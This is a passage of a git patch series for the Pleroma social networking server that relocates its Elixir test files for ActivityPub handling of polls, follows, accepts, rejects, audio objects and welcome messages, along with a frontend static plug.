":blobcat:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + }, + %{ + "type" => "Note", + "name" => ":blobfox:", + "replies" => %{"totalItems" => 0, "type" => "Collection"} + } + ] + + tag = [ + %{ + "icon" => %{ + "type" => "Image", + "url" => "https://blob.cat/emoji/custom/blobcats/blobcat.png" + }, + "id" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "name" => ":blobcat:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + }, + %{ + "icon" => %{"type" => "Image", "url" => "https://blob.cat/emoji/blobfox/blobfox.png"}, + "id" => "https://blob.cat/emoji/blobfox/blobfox.png", + "name" => ":blobfox:", + "type" => "Emoji", + "updated" => "1970-01-01T00:00:00Z" + } + ] + + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "oneOf"], options) + |> Kernel.put_in(["object", "tag"], tag) + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + object = Object.normalize(activity, false) + + assert object.data["oneOf"] == options + + assert object.data["emoji"] == %{ + "blobcat" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", + "blobfox" => "https://blob.cat/emoji/blobfox/blobfox.png" + } + end + + test "returns same activity if received a second time" do + data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() + + assert {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert {:ok, ^activity} = Transmogrifier.handle_incoming(data) + end + + test "accepts a Question with no content" do + data = + File.read!("test/fixtures/mastodon-question-activity.json") + |> Poison.decode!() + |> Kernel.put_in(["object", "content"], "") + + assert {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) + end +end diff --git a/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs new file mode 100644 index 000000000..7592fbe1c --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/reject_handling_test.exs @@ -0,0 +1,67 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.User + alias Pleroma.Web.ActivityPub.Transmogrifier + alias Pleroma.Web.CommonAPI + + import Pleroma.Factory + + test "it fails for incoming rejects which cannot be correlated" do + follower = insert(:user) + followed = insert(:user, locked: true) + + accept_data = + File.read!("test/fixtures/mastodon-reject-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + + accept_data = + Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) + + {:error, _} = Transmogrifier.handle_incoming(accept_data) + + follower = User.get_cached_by_id(follower.id) + + refute User.following?(follower, followed) == true + end + + test "it works for incoming rejects which are referenced by IRI only" do + follower = insert(:user) + followed = insert(:user, locked: true) + + {:ok, follower} = User.follow(follower, followed) + {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) + + assert User.following?(follower, followed) == true + + reject_data = + File.read!("test/fixtures/mastodon-reject-activity.json") + |> Poison.decode!() + |> Map.put("actor", followed.ap_id) + |> Map.put("object", follow_activity.data["id"]) + + {:ok, %Activity{data: _}} = Transmogrifier.handle_incoming(reject_data) + + follower = User.get_cached_by_id(follower.id) + + assert User.following?(follower, followed) == false + end + + test "it rejects activities without a valid ID" do + user = insert(:user) + + data = + File.read!("test/fixtures/mastodon-follow-activity.json") + |> Poison.decode!() + |> Map.put("object", user.ap_id) + |> Map.put("id", "") + + :error = Transmogrifier.handle_incoming(data) + end +end diff --git a/test/pleroma/web/plugs/frontend_static_plug_test.exs b/test/pleroma/web/plugs/frontend_static_plug_test.exs new file mode 100644 index 000000000..f6f7d7bdb --- /dev/null +++ b/test/pleroma/web/plugs/frontend_static_plug_test.exs @@ -0,0 +1,56 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.Plugs.FrontendStaticPlugTest do + use Pleroma.Web.ConnCase + + @dir "test/tmp/instance_static" + + setup do + File.mkdir_p!(@dir) + on_exit(fn -> File.rm_rf(@dir) end) + end + + setup do: clear_config([:instance, :static_dir], @dir) + + test "init will give a static plug config + the frontend type" do + opts = + [ + at: "/admin", + frontend_type: :admin + ] + |> Pleroma.Web.Plugs.FrontendStatic.init() + + assert opts[:at] == ["admin"] + assert opts[:frontend_type] == :admin + end + + test "overrides existing static files", %{conn: conn} do + name = "pelmora" + ref = "uguu" + + clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) + path = "#{@dir}/frontends/#{name}/#{ref}" + + File.mkdir_p!(path) + File.write!("#{path}/index.html", "from frontend plug") + + index = get(conn, "/") + assert html_response(index, 200) == "from frontend plug" + end + + test "overrides existing static files for the `pleroma/admin` path", %{conn: conn} do + name = "pelmora" + ref = "uguu" + + clear_config([:frontends, :admin], %{"name" => name, "ref" => ref}) + path = "#{@dir}/frontends/#{name}/#{ref}" + + File.mkdir_p!(path) + File.write!("#{path}/index.html", "from frontend plug") + + index = get(conn, "/pleroma/admin/") + assert html_response(index, 200) == "from frontend plug" + end +end diff --git a/test/plugs/frontend_static_test.exs b/test/plugs/frontend_static_test.exs deleted file mode 100644 index 6f4923048..000000000 --- a/test/plugs/frontend_static_test.exs +++ /dev/null @@ -1,57 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FrontendStaticPlugTest do - alias Pleroma.Plugs.FrontendStatic - use Pleroma.Web.ConnCase - - @dir "test/tmp/instance_static" - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - test "init will give a static plug config + the frontend type" do - opts = - [ - at: "/admin", - frontend_type: :admin - ] - |> FrontendStatic.init() - - assert opts[:at] == ["admin"] - assert opts[:frontend_type] == :admin - end - - test "overrides existing static files", %{conn: conn} do - name = "pelmora" - ref = "uguu" - - clear_config([:frontends, :primary], %{"name" => name, "ref" => ref}) - path = "#{@dir}/frontends/#{name}/#{ref}" - - File.mkdir_p!(path) - File.write!("#{path}/index.html", "from frontend plug") - - index = get(conn, "/") - assert html_response(index, 200) == "from frontend plug" - end - - test "overrides existing static files for the `pleroma/admin` path", %{conn: conn} do - name = "pelmora" - ref = "uguu" - - clear_config([:frontends, :admin], %{"name" => name, "ref" => ref}) - path = "#{@dir}/frontends/#{name}/#{ref}" - - File.mkdir_p!(path) - File.write!("#{path}/index.html", "from frontend plug") - - index = get(conn, "/pleroma/admin/") - assert html_response(index, 200) == "from frontend plug" - end -end diff --git a/test/report_note_test.exs b/test/report_note_test.exs deleted file mode 100644 index 25c1d6a61..000000000 --- a/test/report_note_test.exs +++ /dev/null @@ -1,16 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.ReportNoteTest do - alias Pleroma.ReportNote - use Pleroma.DataCase - import Pleroma.Factory - - test "create/3" do - user = insert(:user) - report = insert(:report_activity) - assert {:ok, note} = ReportNote.create(user.id, report.id, "naughty boy") - assert note.content == "naughty boy" - end -end diff --git a/test/user/welcome_chat_massage_test.exs b/test/user/welcome_chat_massage_test.exs deleted file mode 100644 index fe26d6e4d..000000000 --- a/test/user/welcome_chat_massage_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.WelcomeChatMessageTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.User.WelcomeChatMessage - - import Pleroma.Factory - - setup do: clear_config([:welcome]) - - describe "post_message/1" do - test "send a chat welcome message" do - welcome_user = insert(:user, name: "mewmew") - user = insert(:user) - - Config.put([:welcome, :chat_message, :enabled], true) - Config.put([:welcome, :chat_message, :sender_nickname], welcome_user.nickname) - - Config.put( - [:welcome, :chat_message, :message], - "Hello, welcome to Blob/Cat!" - ) - - {:ok, %Pleroma.Activity{} = activity} = WelcomeChatMessage.post_message(user) - - assert user.ap_id in activity.recipients - assert Pleroma.Object.normalize(activity).data["type"] == "ChatMessage" - assert Pleroma.Object.normalize(activity).data["content"] == "Hello, welcome to Blob/Cat!" - end - end -end diff --git a/test/user/welcome_email_test.exs b/test/user/welcome_email_test.exs deleted file mode 100644 index d005d11b2..000000000 --- a/test/user/welcome_email_test.exs +++ /dev/null @@ -1,61 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.WelcomeEmailTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.Tests.ObanHelpers - alias Pleroma.User.WelcomeEmail - - import Pleroma.Factory - import Swoosh.TestAssertions - - setup do: clear_config([:welcome]) - - describe "send_email/1" do - test "send a welcome email" do - user = insert(:user, name: "Jimm") - - Config.put([:welcome, :email, :enabled], true) - Config.put([:welcome, :email, :sender], "welcome@pleroma.app") - - Config.put( - [:welcome, :email, :subject], - "Hello, welcome to pleroma: <%= instance_name %>" - ) - - Config.put( - [:welcome, :email, :html], - "<h1>Hello <%= user.name %>.</h1> <p>Welcome to <%= instance_name %></p>" - ) - - instance_name = Config.get([:instance, :name]) - - {:ok, _job} = WelcomeEmail.send_email(user) - - ObanHelpers.perform_all() - - assert_email_sent( - from: {instance_name, "welcome@pleroma.app"}, - to: {user.name, user.email}, - subject: "Hello, welcome to pleroma: #{instance_name}", - html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" - ) - - Config.put([:welcome, :email, :sender], {"Pleroma App", "welcome@pleroma.app"}) - - {:ok, _job} = WelcomeEmail.send_email(user) - - ObanHelpers.perform_all() - - assert_email_sent( - from: {"Pleroma App", "welcome@pleroma.app"}, - to: {user.name, user.email}, - subject: "Hello, welcome to pleroma: #{instance_name}", - html_body: "<h1>Hello #{user.name}.</h1> <p>Welcome to #{instance_name}</p>" - ) - end - end -end diff --git a/test/user/welcome_message_test.exs b/test/user/welcome_message_test.exs deleted file mode 100644 index 3cd6f5cb7..000000000 --- a/test/user/welcome_message_test.exs +++ /dev/null @@ -1,34 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.User.WelcomeMessageTest do - use Pleroma.DataCase - - alias Pleroma.Config - alias Pleroma.User.WelcomeMessage - - import Pleroma.Factory - - setup do: clear_config([:welcome]) - - describe "post_message/1" do - test "send a direct welcome message" do - welcome_user = insert(:user) - user = insert(:user, name: "Jimm") - - Config.put([:welcome, :direct_message, :enabled], true) - Config.put([:welcome, :direct_message, :sender_nickname], welcome_user.nickname) - - Config.put( - [:welcome, :direct_message, :message], - "Hello. Welcome to Pleroma" - ) - - {:ok, %Pleroma.Activity{} = activity} = WelcomeMessage.post_message(user) - assert user.ap_id in activity.recipients - assert activity.data["directMessage"] == true - assert Pleroma.Object.normalize(activity).data["content"] =~ "Hello. Welcome to Pleroma" - end - end -end diff --git a/test/web/activity_pub/object_validators/accept_validation_test.exs b/test/web/activity_pub/object_validators/accept_validation_test.exs deleted file mode 100644 index d6111ba41..000000000 --- a/test/web/activity_pub/object_validators/accept_validation_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.AcceptValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.ActivityPub.Pipeline - - import Pleroma.Factory - - setup do - follower = insert(:user) - followed = insert(:user, local: false) - - {:ok, follow_data, _} = Builder.follow(follower, followed) - {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) - - {:ok, accept_data, _} = Builder.accept(followed, follow_activity) - - %{accept_data: accept_data, followed: followed} - end - - test "it validates a basic 'accept'", %{accept_data: accept_data} do - assert {:ok, _, _} = ObjectValidator.validate(accept_data, []) - end - - test "it fails when the actor doesn't exist", %{accept_data: accept_data} do - accept_data = - accept_data - |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") - - assert {:error, _} = ObjectValidator.validate(accept_data, []) - end - - test "it fails when the accepted activity doesn't exist", %{accept_data: accept_data} do - accept_data = - accept_data - |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") - - assert {:error, _} = ObjectValidator.validate(accept_data, []) - end - - test "for an accepted follow, it only validates if the actor of the accept is the followed actor", - %{accept_data: accept_data} do - stranger = insert(:user) - - accept_data = - accept_data - |> Map.put("actor", stranger.ap_id) - - assert {:error, _} = ObjectValidator.validate(accept_data, []) - end -end diff --git a/test/web/activity_pub/object_validators/reject_validation_test.exs b/test/web/activity_pub/object_validators/reject_validation_test.exs deleted file mode 100644 index 370bb6e5c..000000000 --- a/test/web/activity_pub/object_validators/reject_validation_test.exs +++ /dev/null @@ -1,56 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.RejectValidationTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.Builder - alias Pleroma.Web.ActivityPub.ObjectValidator - alias Pleroma.Web.ActivityPub.Pipeline - - import Pleroma.Factory - - setup do - follower = insert(:user) - followed = insert(:user, local: false) - - {:ok, follow_data, _} = Builder.follow(follower, followed) - {:ok, follow_activity, _} = Pipeline.common_pipeline(follow_data, local: true) - - {:ok, reject_data, _} = Builder.reject(followed, follow_activity) - - %{reject_data: reject_data, followed: followed} - end - - test "it validates a basic 'reject'", %{reject_data: reject_data} do - assert {:ok, _, _} = ObjectValidator.validate(reject_data, []) - end - - test "it fails when the actor doesn't exist", %{reject_data: reject_data} do - reject_data = - reject_data - |> Map.put("actor", "https://gensokyo.2hu/users/raymoo") - - assert {:error, _} = ObjectValidator.validate(reject_data, []) - end - - test "it fails when the rejected activity doesn't exist", %{reject_data: reject_data} do - reject_data = - reject_data - |> Map.put("object", "https://gensokyo.2hu/users/raymoo/follows/1") - - assert {:error, _} = ObjectValidator.validate(reject_data, []) - end - - test "for an rejected follow, it only validates if the actor of the reject is the followed actor", - %{reject_data: reject_data} do - stranger = insert(:user) - - reject_data = - reject_data - |> Map.put("actor", stranger.ap_id) - - assert {:error, _} = ObjectValidator.validate(reject_data, []) - end -end diff --git a/test/web/activity_pub/transmogrifier/accept_handling_test.exs b/test/web/activity_pub/transmogrifier/accept_handling_test.exs deleted file mode 100644 index 77d468f5c..000000000 --- a/test/web/activity_pub/transmogrifier/accept_handling_test.exs +++ /dev/null @@ -1,91 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AcceptHandlingTest do - use Pleroma.DataCase - - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it works for incoming accepts which were pre-accepted" do - follower = insert(:user) - followed = insert(:user) - - {:ok, follower} = User.follow(follower, followed) - assert User.following?(follower, followed) == true - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - accept_data = - File.read!("test/fixtures/mastodon-accept-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - - object = - accept_data["object"] - |> Map.put("actor", follower.ap_id) - |> Map.put("id", follow_activity.data["id"]) - - accept_data = Map.put(accept_data, "object", object) - - {:ok, activity} = Transmogrifier.handle_incoming(accept_data) - refute activity.local - - assert activity.data["object"] == follow_activity.data["id"] - - assert activity.data["id"] == accept_data["id"] - - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, followed) == true - end - - test "it works for incoming accepts which are referenced by IRI only" do - follower = insert(:user) - followed = insert(:user, locked: true) - - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - accept_data = - File.read!("test/fixtures/mastodon-accept-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - |> Map.put("object", follow_activity.data["id"]) - - {:ok, activity} = Transmogrifier.handle_incoming(accept_data) - assert activity.data["object"] == follow_activity.data["id"] - - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, followed) == true - - follower = User.get_by_id(follower.id) - assert follower.following_count == 1 - - followed = User.get_by_id(followed.id) - assert followed.follower_count == 1 - end - - test "it fails for incoming accepts which cannot be correlated" do - follower = insert(:user) - followed = insert(:user, locked: true) - - accept_data = - File.read!("test/fixtures/mastodon-accept-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - - accept_data = - Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) - - {:error, _} = Transmogrifier.handle_incoming(accept_data) - - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, followed) == true - end -end diff --git a/test/web/activity_pub/transmogrifier/answer_handling_test.exs b/test/web/activity_pub/transmogrifier/answer_handling_test.exs deleted file mode 100644 index 0f6605c3f..000000000 --- a/test/web/activity_pub/transmogrifier/answer_handling_test.exs +++ /dev/null @@ -1,78 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.AnswerHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "incoming, rewrites Note to Answer and increments vote counters" do - user = insert(:user) - - {:ok, activity} = - CommonAPI.post(user, %{ - status: "suya...", - poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} - }) - - object = Object.normalize(activity) - - data = - File.read!("test/fixtures/mastodon-vote.json") - |> Poison.decode!() - |> Kernel.put_in(["to"], user.ap_id) - |> Kernel.put_in(["object", "inReplyTo"], object.data["id"]) - |> Kernel.put_in(["object", "to"], user.ap_id) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - answer_object = Object.normalize(activity) - assert answer_object.data["type"] == "Answer" - assert answer_object.data["inReplyTo"] == object.data["id"] - - new_object = Object.get_by_ap_id(object.data["id"]) - assert new_object.data["replies_count"] == object.data["replies_count"] - - assert Enum.any?( - new_object.data["oneOf"], - fn - %{"name" => "suya..", "replies" => %{"totalItems" => 1}} -> true - _ -> false - end - ) - end - - test "outgoing, rewrites Answer to Note" do - user = insert(:user) - - {:ok, poll_activity} = - CommonAPI.post(user, %{ - status: "suya...", - poll: %{options: ["suya", "suya.", "suya.."], expires_in: 10} - }) - - poll_object = Object.normalize(poll_activity) - # TODO: Replace with CommonAPI vote creation when implemented - data = - File.read!("test/fixtures/mastodon-vote.json") - |> Poison.decode!() - |> Kernel.put_in(["to"], user.ap_id) - |> Kernel.put_in(["object", "inReplyTo"], poll_object.data["id"]) - |> Kernel.put_in(["object", "to"], user.ap_id) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - {:ok, data} = Transmogrifier.prepare_outgoing(activity.data) - - assert data["object"]["type"] == "Note" - end -end diff --git a/test/web/activity_pub/transmogrifier/question_handling_test.exs b/test/web/activity_pub/transmogrifier/question_handling_test.exs deleted file mode 100644 index d2822ce75..000000000 --- a/test/web/activity_pub/transmogrifier/question_handling_test.exs +++ /dev/null @@ -1,176 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.QuestionHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "Mastodon Question activity" do - data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - object = Object.normalize(activity, false) - - assert object.data["url"] == "https://mastodon.sdf.org/@rinpatch/102070944809637304" - - assert object.data["closed"] == "2019-05-11T09:03:36Z" - - assert object.data["context"] == activity.data["context"] - - assert object.data["context"] == - "tag:mastodon.sdf.org,2019-05-10:objectId=15095122:objectType=Conversation" - - assert object.data["context_id"] - - assert object.data["anyOf"] == [] - - assert Enum.sort(object.data["oneOf"]) == - Enum.sort([ - %{ - "name" => "25 char limit is dumb", - "replies" => %{"totalItems" => 0, "type" => "Collection"}, - "type" => "Note" - }, - %{ - "name" => "Dunno", - "replies" => %{"totalItems" => 0, "type" => "Collection"}, - "type" => "Note" - }, - %{ - "name" => "Everyone knows that!", - "replies" => %{"totalItems" => 1, "type" => "Collection"}, - "type" => "Note" - }, - %{ - "name" => "I can't even fit a funny", - "replies" => %{"totalItems" => 1, "type" => "Collection"}, - "type" => "Note" - } - ]) - - user = insert(:user) - - {:ok, reply_activity} = CommonAPI.post(user, %{status: "hewwo", in_reply_to_id: activity.id}) - - reply_object = Object.normalize(reply_activity, false) - - assert reply_object.data["context"] == object.data["context"] - assert reply_object.data["context_id"] == object.data["context_id"] - end - - test "Mastodon Question activity with HTML tags in plaintext" do - options = [ - %{ - "type" => "Note", - "name" => "<input type=\"date\">", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => "<input type=\"date\"/>", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => "<input type=\"date\" />", - "replies" => %{"totalItems" => 1, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => "<input type=\"date\"></input>", - "replies" => %{"totalItems" => 1, "type" => "Collection"} - } - ] - - data = - File.read!("test/fixtures/mastodon-question-activity.json") - |> Poison.decode!() - |> Kernel.put_in(["object", "oneOf"], options) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - object = Object.normalize(activity, false) - - assert Enum.sort(object.data["oneOf"]) == Enum.sort(options) - end - - test "Mastodon Question activity with custom emojis" do - options = [ - %{ - "type" => "Note", - "name" => ":blobcat:", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - }, - %{ - "type" => "Note", - "name" => ":blobfox:", - "replies" => %{"totalItems" => 0, "type" => "Collection"} - } - ] - - tag = [ - %{ - "icon" => %{ - "type" => "Image", - "url" => "https://blob.cat/emoji/custom/blobcats/blobcat.png" - }, - "id" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", - "name" => ":blobcat:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - }, - %{ - "icon" => %{"type" => "Image", "url" => "https://blob.cat/emoji/blobfox/blobfox.png"}, - "id" => "https://blob.cat/emoji/blobfox/blobfox.png", - "name" => ":blobfox:", - "type" => "Emoji", - "updated" => "1970-01-01T00:00:00Z" - } - ] - - data = - File.read!("test/fixtures/mastodon-question-activity.json") - |> Poison.decode!() - |> Kernel.put_in(["object", "oneOf"], options) - |> Kernel.put_in(["object", "tag"], tag) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - object = Object.normalize(activity, false) - - assert object.data["oneOf"] == options - - assert object.data["emoji"] == %{ - "blobcat" => "https://blob.cat/emoji/custom/blobcats/blobcat.png", - "blobfox" => "https://blob.cat/emoji/blobfox/blobfox.png" - } - end - - test "returns same activity if received a second time" do - data = File.read!("test/fixtures/mastodon-question-activity.json") |> Poison.decode!() - - assert {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert {:ok, ^activity} = Transmogrifier.handle_incoming(data) - end - - test "accepts a Question with no content" do - data = - File.read!("test/fixtures/mastodon-question-activity.json") - |> Poison.decode!() - |> Kernel.put_in(["object", "content"], "") - - assert {:ok, %Activity{local: false}} = Transmogrifier.handle_incoming(data) - end -end diff --git a/test/web/activity_pub/transmogrifier/reject_handling_test.exs b/test/web/activity_pub/transmogrifier/reject_handling_test.exs deleted file mode 100644 index 7592fbe1c..000000000 --- a/test/web/activity_pub/transmogrifier/reject_handling_test.exs +++ /dev/null @@ -1,67 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.RejectHandlingTest do - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.User - alias Pleroma.Web.ActivityPub.Transmogrifier - alias Pleroma.Web.CommonAPI - - import Pleroma.Factory - - test "it fails for incoming rejects which cannot be correlated" do - follower = insert(:user) - followed = insert(:user, locked: true) - - accept_data = - File.read!("test/fixtures/mastodon-reject-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - - accept_data = - Map.put(accept_data, "object", Map.put(accept_data["object"], "actor", follower.ap_id)) - - {:error, _} = Transmogrifier.handle_incoming(accept_data) - - follower = User.get_cached_by_id(follower.id) - - refute User.following?(follower, followed) == true - end - - test "it works for incoming rejects which are referenced by IRI only" do - follower = insert(:user) - followed = insert(:user, locked: true) - - {:ok, follower} = User.follow(follower, followed) - {:ok, _, _, follow_activity} = CommonAPI.follow(follower, followed) - - assert User.following?(follower, followed) == true - - reject_data = - File.read!("test/fixtures/mastodon-reject-activity.json") - |> Poison.decode!() - |> Map.put("actor", followed.ap_id) - |> Map.put("object", follow_activity.data["id"]) - - {:ok, %Activity{data: _}} = Transmogrifier.handle_incoming(reject_data) - - follower = User.get_cached_by_id(follower.id) - - assert User.following?(follower, followed) == false - end - - test "it rejects activities without a valid ID" do - user = insert(:user) - - data = - File.read!("test/fixtures/mastodon-follow-activity.json") - |> Poison.decode!() - |> Map.put("object", user.ap_id) - |> Map.put("id", "") - - :error = Transmogrifier.handle_incoming(data) - end -end -- cgit v1.2.3 From f679486540625afe30a362c13f70ba0011da2c9c Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Wed, 19 Aug 2020 13:45:02 +0300 Subject: rebase --- .../transmogrifier/audio_handling_test.exs | 83 ++++++++++++++++++++++ .../transmogrifier/audio_handling_test.exs | 83 ---------------------- 2 files changed, 83 insertions(+), 83 deletions(-) create mode 100644 test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs delete mode 100644 test/web/activity_pub/transmogrifier/audio_handling_test.exs diff --git a/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs new file mode 100644 index 000000000..0636d00c5 --- /dev/null +++ b/test/pleroma/web/activity_pub/transmogrifier/audio_handling_test.exs @@ -0,0 +1,83 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.ActivityPub.Transmogrifier.AudioHandlingTest do + use Oban.Testing, repo: Pleroma.Repo + use Pleroma.DataCase + + alias Pleroma.Activity + alias Pleroma.Object + alias Pleroma.Web.ActivityPub.Transmogrifier + + import Pleroma.Factory + + test "it works for incoming listens" do + _user = insert(:user, ap_id: "http://mastodon.example.org/users/admin") + + data = %{ + "@context" => "https://www.w3.org/ns/activitystreams", + "to" => ["https://www.w3.org/ns/activitystreams#Public"], + "cc" => [], + "type" => "Listen", + "id" => "http://mastodon.example.org/users/admin/listens/1234/activity", + "actor" => "http://mastodon.example.org/users/admin", + "object" => %{ + "type" => "Audio", + "id" => "http://mastodon.example.org/users/admin/listens/1234", + "attributedTo" => "http://mastodon.example.org/users/admin", + "title" => "lain radio episode 1", + "artist" => "lain", + "album" => "lain radio", + "length" => 180_000 + } + } + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + object = Object.normalize(activity) + + assert object.data["title"] == "lain radio episode 1" + assert object.data["artist"] == "lain" + assert object.data["album"] == "lain radio" + assert object.data["length"] == 180_000 + end + + test "Funkwhale Audio object" do + Tesla.Mock.mock(fn + %{url: "https://channels.tests.funkwhale.audio/federation/actors/compositions"} -> + %Tesla.Env{ + status: 200, + body: File.read!("test/fixtures/tesla_mock/funkwhale_channel.json") + } + end) + + data = File.read!("test/fixtures/tesla_mock/funkwhale_create_audio.json") |> Poison.decode!() + + {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) + + assert object = Object.normalize(activity, false) + + assert object.data["to"] == ["https://www.w3.org/ns/activitystreams#Public"] + + assert object.data["cc"] == [] + + assert object.data["url"] == "https://channels.tests.funkwhale.audio/library/tracks/74" + + assert object.data["attachment"] == [ + %{ + "mediaType" => "audio/ogg", + "type" => "Link", + "name" => nil, + "url" => [ + %{ + "href" => + 